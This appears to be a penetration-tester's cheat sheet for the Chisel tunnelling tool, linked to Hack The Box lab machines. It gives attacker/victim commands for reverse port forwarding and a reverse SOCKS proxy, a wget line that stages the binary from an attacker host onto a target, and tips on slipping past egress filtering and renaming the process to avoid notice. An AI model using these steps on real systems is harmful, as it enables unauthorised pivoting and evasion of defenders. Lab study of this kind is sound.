🛠️ Chisel

Installation

go install github.com/jpillora/chisel@latest

Common Flags

Chisel is a fast TCP/UDP tunnel, transported over HTTP, and secured via SSH. Used mostly for bypassing firewalls, port forwarding, and network pivoting.

Chisel operates in two primary modes:

• Server: Runs on the machine you want to connect to (or route traffic through).
• Client: Runs on the machine you are connecting from.

Flag	Description
-p, --port	The port the server listens on (Default: 8080).
--reverse	Crucial: Allows clients to specify reverse port forwarding.
--socks5	Enables the internal SOCKS5 proxy server.
--backend	Sets an HTTP server to proxy normal requests to.
-v	Enables verbose logging.

Client syntax generally follows this structure:

chisel client [options] <server-address> <tunnels>

Tunnel Syntax	Description
L:local_port:remote_host:remote_port	Local Forward: Listens on your client, sends traffic to the server.
R:server_port:remote_host:remote_port	Remote Forward: Listens on the server, sends traffic back to the client.
R:socks	Reverse SOCKS: Opens a SOCKS5 proxy on the server, routed through the client.
socks	Forward SOCKS: Opens a SOCKS5 proxy on the client, routed through the server.

Common Commands

Reverse Port Forwarding

Attacker Machine:

chisel server -p 8000 --reverse

Victim Machine:

chisel client [Attacker_IP]:8000 R:[Attacker_Port]:[Victim_Target_IP]:[Victim_Target_Port]

SOCKS5 Proxy

Attacker Machine:

chisel server -p 8000 --reverse

Victim Machine:

chisel client [Attacker-IP]:8000 R:socks

Tips & Tricks

• The usual reason to reach for Chisel is a service bound to 127.0.0.1 on the target — an admin UI, a Jupyter server, an internal API — that is invisible to nmap from outside but wide open once you have a shell. Find them with ss -tulnp, then reverse-forward the port and use the service from your own browser/tooling.
• Stage the binary the same way as any other tool (wget http://<LHOST>/chisel -O /tmp/chisel && chmod +x /tmp/chisel); it is a single static Go binary with no dependencies, which is why it works on stripped-down hosts where SSH port forwarding isn’t available.
• Mind which side each port number lives on. In R:<listen_port>:<dest_host>:<dest_port>, the listen port opens on the server (your attacker box) and the destination is resolved from the client (the target) — so R:8888:127.0.0.1:8888 makes the target’s loopback 8888 reachable at localhost:8888 on your machine.
• Pair it with Proxychains via R:socks when you need more than one port, or when pivoting to other hosts in the target’s subnet rather than to its own loopback.
• Chisel’s traffic is HTTP-shaped, which gets it through egress filtering that blocks raw SSH — but the process name chisel in ps is unsubtle; rename the binary if that matters.

Related Usage

File	Created
HTB Machine - Devhub	Sunday, September 6th 2026, 1:19:49 pm
HTB Machine - Enigma	September 07, 2026
HTB Machine - GiveBack	Thursday, February 5th 2026, 2:32:13 am